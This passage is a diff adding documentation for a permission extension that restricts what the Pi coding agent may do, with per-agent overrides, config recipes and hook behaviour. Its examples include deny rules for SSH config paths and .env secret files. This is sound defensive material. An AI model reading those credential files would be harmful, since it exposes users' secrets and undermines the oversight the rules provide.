+ }
533
+ ```
534
+
535
+ The pattern is stored and displayed as written (e.g. `~/development/*`) in logs and approval dialogs.
536
+
537
+ Path **values** supplied by tool calls and bash commands are expanded the same way.
538
+ This means `~/...`, `$HOME/...`, and the fully-expanded absolute form all match a single home-anchored pattern: a `read` tool called with path `~/.ssh/config`, `$HOME/.ssh/config`, or `/Users/me/.ssh/config` is all caught by a `"~/.ssh/*": "deny"` rule.
539
+
540
+ ---
541
+
542
+ ## Per-Agent Overrides
543
+
544
+ Override global permissions for specific agents via YAML frontmatter in Pi agent definition files.
545
+
546
+ ### Global Agent Override
547
+
548
+ Path: `~/.pi/agent/agents/<agent>.md` (respects `PI_CODING_AGENT_DIR`)
549
+
550
+ ```yaml
551
+ ---
552
+ name: my-agent
553
+ permission:
554
+ read: allow
555
+ write: deny
556
+ mcp: allow
557
+ bash:
558
+ git *: ask
559
+ git status: allow
560
+ mcp:
561
+ chrome_devtools_*: deny
562
+ exa_*: allow
563
+ skill:
564
+ "*": ask
565
+ ---
566
+ ```
567
+
568
+ ### Project Agent Override
569
+
570
+ Path: `<cwd>/.pi/agents/<agent>.md`
571
+
572
+ Project agent files are resolved from Pi's current session `cwd`, so they are workspace-specific and do **not** move under `PI_CODING_AGENT_DIR`.
573
+
574
+ ### Frontmatter Limitations
575
+
576
+ The frontmatter parser is intentionally minimal.
577
+ Use only `key: value` scalars and nested maps.
578
+ Avoid arrays, multi-line scalars, and YAML anchors.
579
+
580
+ ---
581
+
582
+ ## Common Recipes
583
+
584
+ ### Protect Sensitive Files
585
+
586
+ ```jsonc
587
+ {
588
+ "permission": {
589
+ "*": "ask",
590
+ "read": {
591
+ "*": "allow",
592
+ "*.env": "deny",
593
+ "*.env.*": "deny",
594
+ "*.env.example": "allow"
595
+ },
596
+ "write": {
597
+ "*": "ask",
598
+ "*.lock": "deny"
599
+ }
600
+ }
601
+ }
602
+ ```
603
+
604
+ ### Read-Only Mode
605
+
606
+ ```jsonc
607
+ {
608
+ "permission": {
609
+ "*": "ask",
610
+ "read": "allow",
611
+ "grep": "allow",
612
+ "find": "allow",
613
+ "ls": "allow",
614
+ "write": "deny",
615
+ "edit": "deny"
616
+ }
617
+ }
618
+ ```
619
+
620
+ ### Restricted Bash Surface
621
+
622
+ ```jsonc
623
+ {
624
+ "permission": {
625
+ "*": "ask",
626
+ "bash": {
627
+ "*": "deny",
628
+ "git status": "allow",
629
+ "git diff": "allow",
630
+ "git log *": "allow"
631
+ }
632
+ }
633
+ }
634
+ ```
635
+
636
+ ### MCP Discovery Only
637
+
638
+ ```jsonc
639
+ {
640
+ "permission": {
641
+ "*": "ask",
642
+ "mcp": {
643
+ "*": "ask",
644
+ "mcp_status": "allow",
645
+ "mcp_list": "allow",
646
+ "mcp_search": "allow",
647
+ "mcp_describe": "allow"
648
+ }
649
+ }
650
+ }
651
+ ```
652
+
653
+ ### Per-Agent Lockdown
654
+
655
+ In the global Pi agents directory (default: `~/.pi/agent/agents/reviewer.md`, respects `PI_CODING_AGENT_DIR`):
656
+
657
+ ```yaml
658
+ ---
659
+ permission:
660
+ write: deny
661
+ edit: deny
662
+ bash: deny
663
+ ---
664
+ ```
665
+
666
+ ---
667
+
668
+ ## Pi Integration Hooks
669
+
670
+ The extension integrates via Pi's lifecycle hooks:
671
+
672
+ | Hook | Behavior |
673
+ | -------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
674
+ | `before_agent_start` | Filters the active tool set (restrict-only), narrows the `Available tools:` system-prompt listing to match, and hides denied skills |
675
+ | `tool_call` | Enforces permissions for every tool invocation |
676
+ | `input` | Intercepts `/skill:<name>` requests and enforces skill policy |
677
+
678
+ Additional behaviors:
679
+
680
+ - Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
681
+ - Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`)
682
+ - The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed
683
+ - The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
684
+ - Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name
685
+ - Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
686
+ - Permission review logs include bounded `toolInputPreview` values for non-bash/non-MCP tool calls
687
+
688
+ ---
689
+
690
+ ## Schema Validation
691
+
692
+ Validate your config against the included schema:
693
+
694
+ ```bash
695
+ npx --yes ajv-cli@5 validate \
696
+ -s ./schemas/permissions.schema.json \
697
+ -d ./config.json
698
+ ```
699
+
700
+ **Editor tip:** Add `"$schema": "./schemas/permissions.schema.json"` to your config for autocomplete support.